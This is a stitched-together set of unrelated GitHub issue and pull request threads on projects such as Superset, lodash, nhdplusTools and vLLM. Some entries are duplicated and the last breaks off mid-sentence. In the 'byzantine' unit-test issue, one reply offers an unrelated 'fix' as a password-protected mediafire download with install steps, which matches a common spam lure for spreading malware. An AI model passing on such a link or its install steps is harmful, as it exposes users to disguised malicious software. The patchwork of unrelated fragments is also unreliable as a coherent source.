fix: Add MAX_SQL_ROW value to LIMIT_DROPDOWN

SUMMARY

Hotfix #12509 to allow users to choose MAX_SQL_ROW
BEFORE/AFTER SCREENSHOTS OR ANIMATED GIF

TEST PLAN

ADDITIONAL INFORMATION

[ ] Has associated issue:
[ ] Changes UI
[ ] Requires DB Migration.
[ ] Confirm DB Migration upgrade and downgrade tested.
[ ] Introduces new feature or API
[ ] Removes existing feature or API

Codecov Report

Merging #12555 (d607bfe) into master (fc5e311) will decrease coverage by 1.47%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##           master   #12555      +/-   ##
==========================================
- Coverage   63.82%   62.34%   -1.48%
==========================================
  Files         486     1015     +529
  Lines       29958    49592   +19634
  Branches        0     4839    +4839
==========================================
+ Hits        19120    30920   +11800
- Misses      10838    18474    +7636
- Partials        0      198     +198

Flag
Coverage Δ

javascript
60.74% <100.00%> (?)

python
63.40% <ø> (-0.42%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

...erset-frontend/src/SqlLab/components/SqlEditor.jsx
54.67% <100.00%> (ø)

superset/db_engines/hive.py
0.00% <0.00%> (-85.72%)
:arrow_down:

superset/sql_validators/postgres.py
50.00% <0.00%> (-50.00%)
:arrow_down:

superset/db_engine_specs/hive.py
54.61% <0.00%> (-29.24%)
:arrow_down:

superset/db_engine_specs/presto.py
70.56% <0.00%> (-2.82%)
:arrow_down:

superset/db_engine_specs/postgres.py
93.42% <0.00%> (-2.64%)
:arrow_down:

superset/views/database/mixins.py
80.70% <0.00%> (-1.76%)
:arrow_down:

superset/models/core.py
88.04% <0.00%> (-0.55%)
:arrow_down:

superset/views/base_api.py
97.68% <0.00%> (-0.47%)
:arrow_down:

superset/reports/notifications/base.py
95.00% <0.00%> (-0.46%)
:arrow_down:

... and 536 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fc5e311...d607bfe. Read the comment docs.

Codecov Report

Merging #12555 (d607bfe) into master (fc5e311) will decrease coverage by 1.47%.
The diff coverage is 100.00%.

@@            Coverage Diff             @@
##           master   #12555      +/-   ##
==========================================
- Coverage   63.82%   62.34%   -1.48%
==========================================
  Files         486     1015     +529
  Lines       29958    49592   +19634
  Branches        0     4839    +4839
==========================================
+ Hits        19120    30920   +11800
- Misses      10838    18474    +7636
- Partials        0      198     +198

Flag
Coverage Δ

javascript
60.74% <100.00%> (?)

python
63.40% <ø> (-0.42%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

...erset-frontend/src/SqlLab/components/SqlEditor.jsx
54.67% <100.00%> (ø)

superset/db_engines/hive.py
0.00% <0.00%> (-85.72%)
:arrow_down:

superset/sql_validators/postgres.py
50.00% <0.00%> (-50.00%)
:arrow_down:

superset/db_engine_specs/hive.py
54.61% <0.00%> (-29.24%)
:arrow_down:

superset/db_engine_specs/presto.py
70.56% <0.00%> (-2.82%)
:arrow_down:

superset/db_engine_specs/postgres.py
93.42% <0.00%> (-2.64%)
:arrow_down:

superset/views/database/mixins.py
80.70% <0.00%> (-1.76%)
:arrow_down:

superset/models/core.py
88.04% <0.00%> (-0.55%)
:arrow_down:

superset/views/base_api.py
97.68% <0.00%> (-0.47%)
:arrow_down:

superset/reports/notifications/base.py
95.00% <0.00%> (-0.46%)
:arrow_down:

... and 536 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fc5e311...d607bfe. Read the comment docs.


Add masthead image (#264)

Can now specify the name of an image file in _config.yml that will be shown instead of the site title on every page.

Closing as we could add background options for headers in minima 3 if #294 gets approved.

Isn't a background for a header a different use case compared to a logo image?


Does this output all permutations?

Hello, question about how this works.
Does this output all permutations?
It seems it is missing some..
require("lodash.combinations")
const _ = require("lodash"); // lodash is a peer dependency.

const c = _.combinations(['hey', 'there'], 2)
console.log(c);

outputs..
[["hey", "there"]]
but should'nt it output
[["hey", "there"], ["there", "hey"]] ?

Hello.
This function outputs combinations of each item with another item. The order does not matter here. What you need is a permutations function.
Personally I need use lodash anymore. If I need combinatorics I take a library.
Look there.
https://repl.it/repls/InsubstantialElderlyOrigin


node-red-contrib-i2c -- assistance

Hi Folks, new to GitHub and Node-Red. Is this the appropriate forum for assistance? Thanks

Hi - no - please use either the Twitter channel or https://discourse.nodered.org/ for general how-to questions


Using open source model

Would it be possible to make it work using an open source model like Open Assistant or OpenChatKit?

Yeah, that's something I am planning to do too. You just need to use some open-source LLM models to replace the OpenAI API in the code.


Magic URLs for Test Orders

Acceptance Criteria

[x] When Test Orders are created a TestOrderURL entity is created with a timestamp and a unique entity
[ ] When a user browses to the magic URL in question, the React App queries the back end for whether or not the link has expired?
[ ] DOB login is handled (user is challenged in the front end; back-end verifies)
[ ] As a provider in SR, I'd like to generate a unique URL for a user's test
[ ] Show a QR code of the magic URL in the confirmation dialog
[ ] Add some UI to re-generate new Magic URLs if they have expired

@aliciabeckett-gov Do we want, at this iteration, these patient link Magic URLs to expire after some window?

@aliciabeckett-gov Do we want, at this iteration, these patient link Magic URLs to expire after some window?

We don't have a requirement on expiration yet, but I'm sure one will be coming.

We don't have a requirement on expiration yet, but I'm sure one will be coming.


Migrating ToYaml

Progress on https://github.com/goldmansachs/crdtools/issues/9; only what was thought to be essential has been migrated in this instance.

Trying to squash into one commit...

Trying to squash into one commit...

Done! Ready for review


Usage with ProxySQL in Kubernetes

I currently have an application that uses a service which doesn't support separate read and read/write endpoints to leverage CloudSQL read replicas. I was wondering if I could use, (and curious if this would the most optimal solution), the cloudsql proxy as a sidecar container for ProxySQL and have it reach my pool of instances.
In the sidecar container, I could have it run something along the lines of:
./cloud_sql_proxy -dir=/cloudsql -instances=my-project:us-central1:<master-instance>,my-project:us-central1:<read-rep-1>,my-project:us-central1:<read-rep-2>

Thanks in advance.

I can't say I've ever tried it, but this would be my suggested method for accomplishing this.
Please feel free to update this issue if you run into any specific issues.


luxcoreui unable to read *-hdr.cfg sample scenes.

There's small bug in luxcoreui preventing it from reading *-hdr.cfg files.
As you change CWD to .cfg scene file location:
https://github.com/LuxCoreRender/LuxCore/blob/7143d8d18b97edfffa5f136879e84552a78cba99/samples/luxcoreui/luxcoreapp.cpp#L246-L250
Your relative path to the sky map in the .scn file becomes invalid.
https://github.com/LuxCoreRender/LuxCore/blob/7143d8d18b97edfffa5f136879e84552a78cba99/scenes/kitchen/kitchen-hdr.scn#L131
This results in an error on the Linux machine unable to find file sky.exr (The rest of .scn files will be located by sub dir search routine. )
Samle solutions:

[ ] all path should be revriten to be relative to current .cfg scene file location.
[ ] current_path() should be changed to scenes directory, not the .cfg scene file clocation.

Resolved, sorry for missreporting


fix: adjust dfget download log

Signed-off-by: zuozheng.hzz<EMAIL_ADDRESS>
Description

Related Issue
#563

Motivation and Context

Screenshots (if appropriate):
Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] Documentation Update (if none of the other choices apply)

Checklist:

[ ] Code compiles correctly.
[ ] My code follows the code style of this project.
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[ ] I have read the CONTRIBUTING document.
[ ] I have added tests to cover my changes.
[ ] All new and existing tests passed.

Codecov Report

Merging #564 (f803671) into main (dddf241) will increase coverage by 0.01%.
The diff coverage is 50.00%.

@@            Coverage Diff             @@
##             main     #564      +/-   ##
==========================================
+ Coverage   39.33%   39.35%   +0.01%
==========================================
  Files          86       86
  Lines        6640     6640
==========================================
+ Hits         2612     2613       +1
- Misses       3657     3658       +1
+ Partials      371      369       -2

Flag
Coverage Δ

e2etests
?

unittests
39.35% <50.00%> (+0.01%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

client/dfget/dfget.go
15.32% <50.00%> (ø)

client/daemon/peer/peertask_stream.go
56.09% <0.00%> (-1.40%)
:arrow_down:

client/daemon/peer/peertask_base.go
35.31% <0.00%> (+0.63%)
:arrow_up:

client/daemon/peer/piece_manager.go
67.98% <0.00%> (+0.79%)
:arrow_up:


Missing unit test in security related code, ./byzantine

Please add unit test to cover all attacks and all aggregations.

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


Add ColumnReference type with new API

Previously cell references were stringly-typed allowing a user to create a cell reference with an arbitrary string. This is fixed with an introduction of new types: CellReference and ColumnReference. ColumnReference is a simple wrapper around String that guards against empty string and characters that can't be used as column references. Rows don't need a separate type for references as they map neatly to UInt, although API parts that used row references have changed to use UInt instead of Int. This is a breaking change that requires a major version bump.

Codecov Report

Merging #3 into master will decrease coverage by 2.52%.
The diff coverage is 81.66%.

@@            Coverage Diff             @@
##           master       #3      +/-   ##
==========================================
- Coverage   88.23%   85.71%   -2.53%
==========================================
  Files           2        4       +2
  Lines          68      126      +58
==========================================
+ Hits           60      108      +48
- Misses          8       18      +10

Impacted Files
Coverage Δ

Sources/CoreXLSX/Worksheet.swift
71.42% <100%> (+71.42%)
:arrow_up:

Sources/CoreXLSX/CellReference.swift
74.19% <74.19%> (ø)

Sources/CoreXLSX/CoreXLSX.swift
94.02% <80%> (+0.27%)
:arrow_up:

Sources/CoreXLSX/ColumnReference.swift
85.71% <85.71%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2fbb8d2...3aa4d3b. Read the comment docs.


add

Hi, please add this

Great! I'll add this today and I'll inform you. Thanks.

I have added this to the tool but since I'm still working on some issues, I haven't committed it yet. I'll inform when the tool is updated. Thanks for your feedback and patience.

Hi @mhmh55516 ,
I've added the feature you requested. Could you please check it?
Thanks.


Consider enforcing more invariants at execution-time

Properties like the invariance of YieldSpace's k and the LP share price are guiding principles for the code; however, they aren't explicitly checked during execution. If we added these checks, we could rule out attacks on the curve or the present value system that rely on weird rounding behavior.

Closing this since we've made all of the changes relating to this that we're going to make.


ANC PostPartum - Next Steps -  Early Mastitis or Engorgement [6h]

Issue
If a patient meets the criteria for Early Mastitis or Engorgement, the next steps are to provide health education and distribute medication.
See Logic Master for diagnosis criteria.

Pop Up
Health Education
Medication Distribution

To Do:

Style screens per design
Create diagnosis logic

https://nutrition-ihangane.pantheonsite.io/
QA Review
Found issues and questions:

Typo. Even in the Logic sheet Engorgement is misspelled as 'Engorgment'

Warning
Health education

@Diama1 assigning to you to correct the spelling mistake of "engorgement" identified above.
@jeanette-pelizzon can you also (a) correct on the logic sheet; (b) confirm we should be able to have multiple options in the second point of @balagan73 's review above?

@adamhstewart @jeanette-pelizzon
For the context, so far, when asking why not, there was only single option allowed.


Connect to game server not on localhost?

Hi, I have a small setup for this game where I want to use my laptop with vscode and run the game on my computer. I looked at all of the settings for the extension and I don't see one for ip or port. I also looked at the extension.js file, In there they have a url config changing to from localhost to my pc's ip address also did not work. Is there something I can do in the extension or do I have to look into redirecting the connection?

Looking into more alternatives I found a pr #21 that allows remote connections for wsl and I also found issue #17 also talking about remote connections using wsl. Going to try the pr now.


Clean up UX some more

Part of #4305, follows on #4410.

[x] asterisk-out email addresses, ya?—let's wait for demand, these are all public in the npm registry
[x] still getting a fouc on claim form?
[x] add a nice mail icon for current selection in dropdown
[x] add a nice dropdown arrow icon

[x] highlight that instead of name on hover when closed

[x] implement status icons

[x] primary → feature
[x] verified → success
[x] unverified → [none]
[x] unlinked → warning
[x] other → failure

[x] implement disabled (for emails linked to other accounts)

[x] disable Apply button when there are no "Ready to link" emails

[x] if only one email, treat differently?

[x] no radio dropdown?
[x] no i?

[x] double-check .details (grep it)
[ ] make the Sign In button bigger, too
[x] cross-browserize
[ ] seeing an off-by-one in hover state while scrolling?

91e6e45a77f9ac1acb6691c2a7dc6b8e54f0f07d:

aad63cef5f5ffe839d661f16972b7ae7dcf344ed:

Actually, I'm not sure the status icons work here. On the project listing there is a profile pic to take most of the visual weight. Here we don't have that, so the status icons pop ... too much, I think.

Okay. a79240d7c89ae94c16a0b9f7008abe3d82321603 implements status icons for the most important statuses. Unlinked accounts don't have an icon.

On a different account:

Actually, how about warning for half-linked? 3dd13da6950e763042af83b23f3367c2bc1bee67

4b9fb97f86d9411b01bfa6958c60b2e35f8dbac8:

Started hacking on disabling items in e7b90e3bcd81c2329b812e1c629c65a4ed5788df, will pick up with that next time.

Re: af443c98a60d49d25881b56afff306efc9debb0d, looks like text-overflow: ellipsis can violate the padding.

???

Opacity generates a new stacking context.
https://philipwalton.com/articles/what-no-one-told-you-about-z-index/

I tried obfuscating emails in 47eeb4c3d0fbd2a82fd5e639bbba5691effd0779, but it looks weird. In addition to being public info, this view is also only for auth'd users.

Let's punt on treating single emails differently. A select is still a select with only one item.

I tried obfuscating emails in 47eeb4c, but it looks weird. In addition to being public info, this view is also only for auth'd users.

I agree that there is no real need for obfuscation in this particular instance, but I just wanted to say that I prefer the asterisks over the dashes. 😉

Haven't checked in IE but working in recent Chrome, FF, Safari. Haven't checked on mobile but let's do that on a different PR.

Aright, macro in 89c5789fc1a69eb6aac6c993b41fbf681b8150cb ... derp, broken. :-/
Sooo ... fix that, then I'm looking at enlargening the button for the npm package page. There's already a class large in buttons.scss that's not used anywhere that I can see. But there is a larger class that's used but not defined. :man_facepalming:

not used anywhere

Sike, we're using it for the "Apply to accept payments" button.
I think I'm going to hack this in pages/package.scss to avoid cross-contamination with the sign-in dropdown in the header.

... which means we don't need the macro.

Well, maybe it helps.

cd2f10cec13123eaa5b8726f3c36cb88ecbfab79

seeing an off-by-one in hover state while scrolling?

Steps:

Load a package with lots of emails, such as kine.
Open select.
Scroll and move mouse until you see the mouse hovering over one item but the adjacent element (above? always above?) highlighted instead.

Expected
Item under mouse is always highlighted.
Actual
Adjacent is highlighted.

Eff it. Bumping to https://github.com/gratipay/gratipay.com/issues/4415.
Ready for review!

Rebased, was cd2f10cec13123eaa5b8726f3c36cb88ecbfab79.

Rebased to pick up 47ad781406bbc5d1bec5e12f5fc8bcb08a950177 in #4410, was 1c6ad4b00dece589872eabaedfa146ee14542238.


Enhancement: Open local service, locally

What Changed?

Service local installed, should open without UNC path.
deduplicated code
moved isLocalMachine to helper (and renamed currentMachine to localMachine - it think that's better)

Before:

after:

Issues Closed
none

done with pushes ;)
Please review, feel free to comment on names

changes pushed!
(if it needs a squash or something like that, just let me know)

changes applied and pushed!
(if it needs a squash or something like that, just let me know)


Add attribute for Layer

Maybe I didn't found it in documentation, but It would be great to support Layer attribute
https://discussions.unity.com/t/type-for-layer-selection/91723/3

public LayerMask myLayer;

should just do the trick

no LayerMask allow to select multiple layers

Thats the whole point of a LayerMask, to have a multi select dropdown, you want a single select?

yes, I want to select only one layer. My use case is to select the layer to set on a generated GameObject.

You can use the dropdown attribute and give it an array of all layers then you can select a single layer

Also this is not an issue its a feature request so I'm going to close this and you can continue the thread in the discussions->ideas tab


Settings pages jump to bottom when hovering over other tabs with mouse

https://user-images.githubusercontent.com/19228201/218704831-4b904edd-fdad-4922-9851-ad574e16084d.mp4
This happens in the SDK 2013 build and the versions included with Portal/HL2

SDK 2013
can confirm it in TF2 engine custom build

merged #23 fixes this.


how to use the trained model to test my own dataset

hello,i have huge pictures and wanna to use the trained model to test ,how can i do it?

Have you solved this? I found it has been limited to the coco dataset

问题解决了吗？Ever solved this?

@djmirv @woaiwoziji  已经解决了，我把过程记录在了csdn博客上，可以自己去看看，博客名就是github的名字

I tested my data set with CornerNet and got the result. json file, which is roughly as follows. Is there no post-processing part in the code? Why do I get a lot of test results for each test picture? And the four values in bbox in result.json.  I got are x-min, y-min, width and height (because some results have very small numbers corresponding to witdh or heigh)?
[{"image_id": 5501, "category_id": 1, "bbox": [261.49, 301.42, 248.6, 208.57], "score": 0.23}, {"image_id": 5501, "category_id": 1, "bbox": [0.01, 508.54, 510.08, 1.45], "score": 0.22}, {"image_id": 5501, "category_id": 1, "bbox": [492.72, 476.82, 17.37, 33.17], "score": 0.22}, {"image_id": 5501, "category_id": 1, "bbox": [189.36, 480.88, 320.72, 29.11], "score": 0.21}, {"image_id": 5501, "category_id": 1, "bbox": [500.68, 305.13, 9.4, 204.86], "score": 0.2},

hi maggiequan, i cant find your csdn blog, can you show me your address


Gcloud CLI beta component now required?

So I just pulled the repo just now and tried re-deploying Vigenair to our GCP, when I get this error message:
ERROR: (gcloud) You cannot perform this action because you do not have permission to modify the Google Cloud SDK installation directory [C:\Program Files (x86)\Google\Cloud SDK\google-cloud-sdk].

Click the Google Cloud SDK Shell icon and re-run the command in that window, or re-run the command with elevated privileges by right-clicking cmd.exe and selecting "Run as Administrator".
You do not currently have this command group installed.  Using it
requires the installation of components: [beta]

Does this mean the beta component for Gcloud SDK Shell command line interface is now required?
Thanks.

After I ran Gcloud SDK shell as admin, it asked me to install the gcloud Beta Commands component:
INFO - Creating Service Agents and granting roles...
You do not currently have this command group installed.  Using it
requires the installation of components: [beta]

Your current Google Cloud CLI version is: 464.0.0
Installing components from version: 464.0.0

+---------------------------------------------+
|     These components will be installed.     |
+----------------------+------------+---------+
|         Name         |  Version   |   Size  |
+----------------------+------------+---------+
| gcloud Beta Commands | 2024.02.09 | < 1 MiB |
+----------------------+------------+---------+

For the latest full release notes, please visit:
  https://cloud.google.com/sdk/release_notes

Do you want to continue (Y/n)?  Y

It's now also asking me to enable the Service Usage API, which was not required in the previous Vigenair version last week.

After running npm start as admin with Google Cloud CLI, then installing the Beta component and enabling the Service Usage API, the current build deployed with no more warnings or errors.

Yes, some projects in certain cloud orgs had issues where Service Agents (bots that are created automatically when you enable any API in GCP) weren't created, and the associated functionality was constantly running into errors. Specifically, we saw cases where the Vertex AI Service Agent was missing, which lead to all Gemini calls from Cloud Functions to fail with "500 Internal Server Error".
The impact of that was having no descriptions or keywords attached to every segment created by the tool, which lead to poor quality combinations. Demand Gen assets where also impacted.
This was fixed using gcloud beta, which creates the main service agents we need for the different inter-cloud-components communication, and granting them the necessary roles.
The Service Usage API is a good hint, thank you. We've added it now to the deploy.sh script so that it gets automatically enabled for you on projects.


Upgrade time window

This PR restricts network upgrade activation to a predictable time window.

Codecov Report

Merging #175 (4e543fc) into develop (b6b56f6) will increase coverage by 0.18%.
The diff coverage is 72.22%.

:exclamation: Your organization is not using the GitHub App Integration. As a result you may experience degraded service beginning May 15th. Please install the Github App Integration for your organization. Read more.
@@             Coverage Diff             @@
##           develop     #175      +/-   ##
===========================================
+ Coverage    14.25%   14.44%   +0.18%
===========================================
  Files           22       22
  Lines         5667     5683      +16
===========================================
+ Hits           808      821      +13
- Misses        4859     4862       +3

Files Changed
Coverage Δ

src/app.rs
2.08% <72.22%> (+2.08%)
:arrow_up:

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


"setting a property that has only a getter" error for safari

If only getter defined for any property, I dont'have compile errors if i will try to set value to this property, but in safari 5.1.7 (windows)  i catched "setting a property that has only a getter"

Please search for issues before logging a new one - this has been reported dozens of times under many keywords. Root issue is #12.


"load_model" Error in VAE

Recently, I run this code...
When I running load_model in following line it gives me a error
"ValueError: When passing a list as loss, it should have one entry per model outputs. The model has 1 outputs, but you passed loss=[]"
Did somebody know how to fix it? I realize that the reason of error is obviously but I couldn't come up with good solutions.  TKS.
https://github.com/chaitanya100100/VAE-for-Image-Generation/blob/1c4be4eaed969a3b634a0edd8a2a90a99569146c/src/mnist_2d_latent_space_and_generate.py#L46
p.s. I just found one possible solution in Example of Keras GitHub: Just use load_weight & save_weight. TKS.
https://github.com/keras-team/keras/blob/ad578c4c19444af9d1f0e0d51a8283eb0db1a264/examples/variational_autoencoder.py#L202

I've found a workaround here.
basically, downgrade to keras 2.1.0


Textmining error on Workflow A.9

https://arax.ncats.io/?source=ARS&id=1bb22918-c6f3-4aa8-bfcd-b82af2c310ef
EGFR

{
  "callback": "http://<IP_ADDRESS>:8000/ars/api/messages/8477f662-bdbf-4090-a6f5-2558f9c113fe",
  "max_results": 100,
  "message": {
    "query_graph": {
      "edges": {
        "e0": {
          "object": "n1",
          "predicates": [
            "biolink:negatively_regulates_entity_to_entity",
            "biolink:entity_negatively_regulates_entity"
          ],
          "subject": "n0"
        }
      },
      "nodes": {
        "n0": {
          "categories": [
            "biolink:ChemicalSubstance"
          ],
          "name": "Chemical Substance"
        },
        "n1": {
          "ids": [
            "PR:000006933"
          ],
          "name": "EGFR"
        }
      }
    }
  },
  "validation_result": {
    "message": "",
    "size": "1 kB",
    "status": "PASS",
    "version": "1.1.1"
  }
}

This error would be better classified as a timeout.  There was an issue last week with BTE timeouts, and since Text Mining Provider is hosted by Service Provider I think the timeouts affected our service as well. They appear to be resolved at this point.
Question: would it be worth having the ARS report timeouts as something different than an error?
I believe this same comment should also apply to the other Text Mining Provider issues from last week:

https://github.com/NCATSTranslator/minihackathons/issues/138
https://github.com/NCATSTranslator/minihackathons/issues/145
https://github.com/NCATSTranslator/minihackathons/issues/153
https://github.com/NCATSTranslator/minihackathons/issues/158

Need to differentiate between different 400 and 500 errors, and timeouts, more text on what type of errors occuring

@bill-baumgartner rerunning the same ARAX a week later yields same result on TextMining.

@vgardner-renci Is there a PK for the most recent run? Thanks!

I'm using the PK embedded in the ARAX link in the first comment. 1bb22918-c6f3-4aa8-bfcd-b82af2c310ef

Ok, thanks. I could be wrong but I think there should be a new PK each time a query is run. Also, I think the ARS is down for maintenance today so I'm not sure we can run queries.

Textmining returning results
https://arax.ncats.io/index.html?source=ARS&id=f96dd2dc-4f43-4115-8d35-f826be6f07d6


subset_nhdplus issue?

I'm getting an error attempting to use subset_nhdplus() on multiple different machines - I'm running code from TL;DR in U.S. Data and Package Basics:
       start_point <- st_sfc(st_point(-89.362239, 43.090266)), crs = 4269)
       start_comid <- discover_nhdplus_id(start_point)

       flowline <- navigate_nldi(list(featureSource = "comid",
                          featureID = start_comid),
                          mode = "upstreamTributaries",
                          distance_km = 1000)

      subset_file <- tempfile(fileext = ".gpkg")
      subset <- subset_nhdplus(comids = as.integer(flowline$UT$nhdplus_comid),
                     output_file = subset_file,
                     nhdplus_data = "download",
                     flowline_only = FALSE,
                     return_data = TRUE, overwrite = TRUE)

I have valid results from both start_comid and navigate_nldi but I get the following error trying to run subset_nhdplus():
       All intersections performed in latitude/longitude.
       Reading NHDFlowline_Network
       Spherical geometry (s2) switched off
       Request failed [403]. Retrying in 1.7 seconds...
       Request failed [403]. Retrying in 1 seconds...
       Error in out[[1]] : subscript out of bounds
       Spherical geometry (s2) switched on

sessionInfo():
     R version 4.2.2 (2022-10-31 ucrt)
     Platform: x86_64-w64-mingw32/x64 (64-bit)
     Running under: Windows 10 x64 (build 19042)

     Matrix products: default

     locale:
     [1] LC_COLLATE=English_United States.utf8
     [2] LC_CTYPE=English_United States.utf8
     [3] LC_MONETARY=English_United States.utf8
     [4] LC_NUMERIC=C
     [5] LC_TIME=English_United States.utf8

     attached base packages:
     [1] stats     graphics  grDevices utils     datasets  methods   base

     other attached packages:
     [1] sf_1.0-9           nhdplusTools_0.6.1 mapview_2.11.0

     loaded via a namespace (and not attached):
     [1] tidyselect_1.2.0        terra_1.6-47            purrr_0.3.4
     [4] pbapply_1.5-0           lattice_0.20-45         leaflet.providers_1.9.0
    [7] colorspace_2.0-1        vctrs_0.4.1             generics_0.1.3
    [10] htmltools_0.5.4         stats4_4.2.2            yaml_2.2.1
    [13] base64enc_0.1-3         utf8_1.2.2              rlang_1.0.6
    [16] e1071_1.7-9             pillar_1.8.1            glue_1.6.2
    [19] DBI_1.1.3               sp_1.5-0                lifecycle_1.0.3
    [22] dataRetrieval_2.7.12    munsell_0.5.0           zip_2.2.0
    [25] raster_3.6-13           htmlwidgets_1.6.1       codetools_0.2-18
    [28] fstcore_0.9.12          fst_0.9.8               fastmap_1.1.0
    [31] crosstalk_1.1.1         curl_4.3.3              parallel_4.2.2
    [34] class_7.3-20            fansi_1.0.3             leafem_0.1.6
    [37] Rcpp_1.0.9              KernSmooth_2.23-20      scales_1.1.1
    [40] classInt_0.4-3          satellite_1.0.2         leaflet_2.1.1
    [43] webshot_0.5.2           jsonlite_1.8.4          RANN_2.6.1
    [46] png_0.1-7               digest_0.6.29           dplyr_1.0.10
    [49] grid_4.2.2              cli_3.4.1               tools_4.2.2
    [52] magrittr_2.0.3          proxy_0.4-26            tibble_3.1.8
    [55] tidyr_1.2.1             pkgconfig_2.0.3         ellipsis_0.3.2
    [58] xml2_1.3.3              assertthat_0.2.1        httr_1.4.4
    [61] rstudioapi_0.13         R6_2.5.1                units_0.8-0
    [64] compiler_4.2.2

Very well could be user error or settings on my end or something very simple - I tried to trace error but didn't find issue on quick attempt.

Thanks for this @mhweber -- I'm seeing this too. There are some new firewall rules that were put in place that are probably impacting these requests. I'll do some background and see what I can do.

This was brought on by some updated firewall rules. Our cloud team is working on fixing it. Hopefully we are back in action tomorrow.

@mhweber -- a new firewall rule set has been deployed that should unblock the web service requests in question. Can you please confirm? My failing example is working now.

@dblodgett-usgs  - yes, working on my end now so good to close - thanks!


feat: config from file

This closes #663.
cc @huachaohuang @w41ter @zojw
Two design decisions are made here:

Configs from args or file can be present together. We prefer those from args to those from file.
Thus, we should detect whether a config is passed from args, so the default value of args cannot set. Otherwise we don't know it's configured by default or by users.

Code for parsing the toml file can be refactor if we grow our configs.

I'm not sure whether it's the better solution for configs. So it's open to suggestions on the design decisions.

Two design decisions are made here:

Configs from args or file can be present together. We prefer those from args to those from file.
Thus, we should detect whether a config is passed from args, so the default value of args cannot set. Otherwise we don't know it's configured by default or by users.

Sounds right to me. I also think we should only export the most basic configurations as command-line arguments, and leave the advanced ones to the configuration file.

I think this PR is ready to merge. Please take a look.


Refactor SSE and Modify Control Flow

Closes #686 by implementing the proposed change.
Add SetupAndValidateSSE to the SSE interface and modify all actions that support SSE to implement this method.
Requests will now be validated before creating the stream object in base.go. Appropriate HTTP errors will be sent before stream creation.

While this solution works I think it's a little bit too complicated. It's easy to misunderstand how action.NonSetup works, ex. even in this PR it's used with action.loadParams but there's no need to check this every time SSE function is called.
The ultimate goal of this PR is to send preamble or errors right away. I think I came up with a very easy solution that will achieve this with no need for changing existing actions code. The idea is to buffer stream events (preamble and actual events) in a struct implementing http.Flusher (possibly just bytes.Buffer with a custom Flush() function) instead of sending them to the client. We will use this special writer in:
stream := sse.NewStream(ctx, base.W, base.R)

If the first call to SSE() returns errors we remove this buffer and return a normal HTTP error. Otherwise, we pipe (using io.Pipe?) a buffered stream to w http.ResponseWriter. From now on, everything works as originally (writing events to base.W but through a pipe).
This solution has several advantages:

SSE methods in actions are less complicated and developers don't need to figure out what to read again from a DB and what not. Using existing action.Setup and action.Do is enough and simple to understand. No changes needed in existing action files.
The sse package doesn't need to know what is happening so it can be used anywhere else where the approach required here is not needed. Ex. it can be changed to send preamble right away, before the first event is sent.

Let me know what you think.

Replaced by #691


[Core][VLM] Add support for prefix caching for multi-modal models

This adds support for prefix caching with multi-modal models -- in particular it enables it for Ultravox which uses the precise placeholders added in #8346.
With this change, SelfAttnBlockSpaceManager et al. now pass a TokenIds type around instead of List[int] to represent token ids. This new type can also contain TokenRangeAnnotations which capture the contents that will ultimately replace the placeholder tokens. The Sequence calculates these by hashing multi-modal content that supports it (currently only implemented for audio).
FIX #9790

Sorry for the delay - I was busy with Pixtral release last week but will review this PR this week!

Hi, thanks for the great workt! I was wondering if there’s any update on its status or an estimated timeline for its review/merge?

@cooleel We decided to work on adding prefix caching for multimodal models on V1 instead since there are some fundamental changes on how cache manager is designed. Stay tuned!

Closing as superseded by #11187


Update README.md

Hello @Kiruel,
Thank you for noticing this!
The suggestions had been incorporated with the latest release.


save button taking too long, possible to update the user regarding the progress?

This is a general question regarding Directus UX, not only for this wonderful AI extension.
When I click the save button on the upper right corner. It starts to loading ( while the flow is being executed on the background).
Some times it takes quite a long time to finish.
It would be easier for the user to be updated regarding the progress.  I feel only one "loading button" is not enough.  It will be better if a notification dialog can be shown during the flow execution.

that is not something i can change in the context of this extension as thats more how Directus Flows work in general than the function of these operations 😬


etcd: 3.3.25 -> 3.3.27, etcd_3_4: 3.4.16 -> 3.4.18

Motivation for this change
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
21.11 Release Notes (or backporting 21.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 146040 run on x86_64-linux 1

2 packages built:

etcd (etcdctl)
etcd_3_4


Fix for the uploadAccountResponse for correct error message/reason

Fix in the UploadAccountResponse object for mapping the error message.

This has been fixed in the Auth backend. Reverting this change.


Add form choices

Droplist for image categories if there are not too many. Stick to random for now. Homepage can be fixed image URL.

The simplest is to have a one page site with a form that can be shown and hidden and that updates the current page. Otherwise you have to use a way to send params to a display path maybe with react router

Use bulma footer and their way of showing and hiding

Modal is also good alternative

But a sidebar or bottom bar that mostly fills the mobile screen is good

Include a Save or Apply button


I have a lot of same error[you may have forgotten to catch a Promise rejection]

Dear sir,
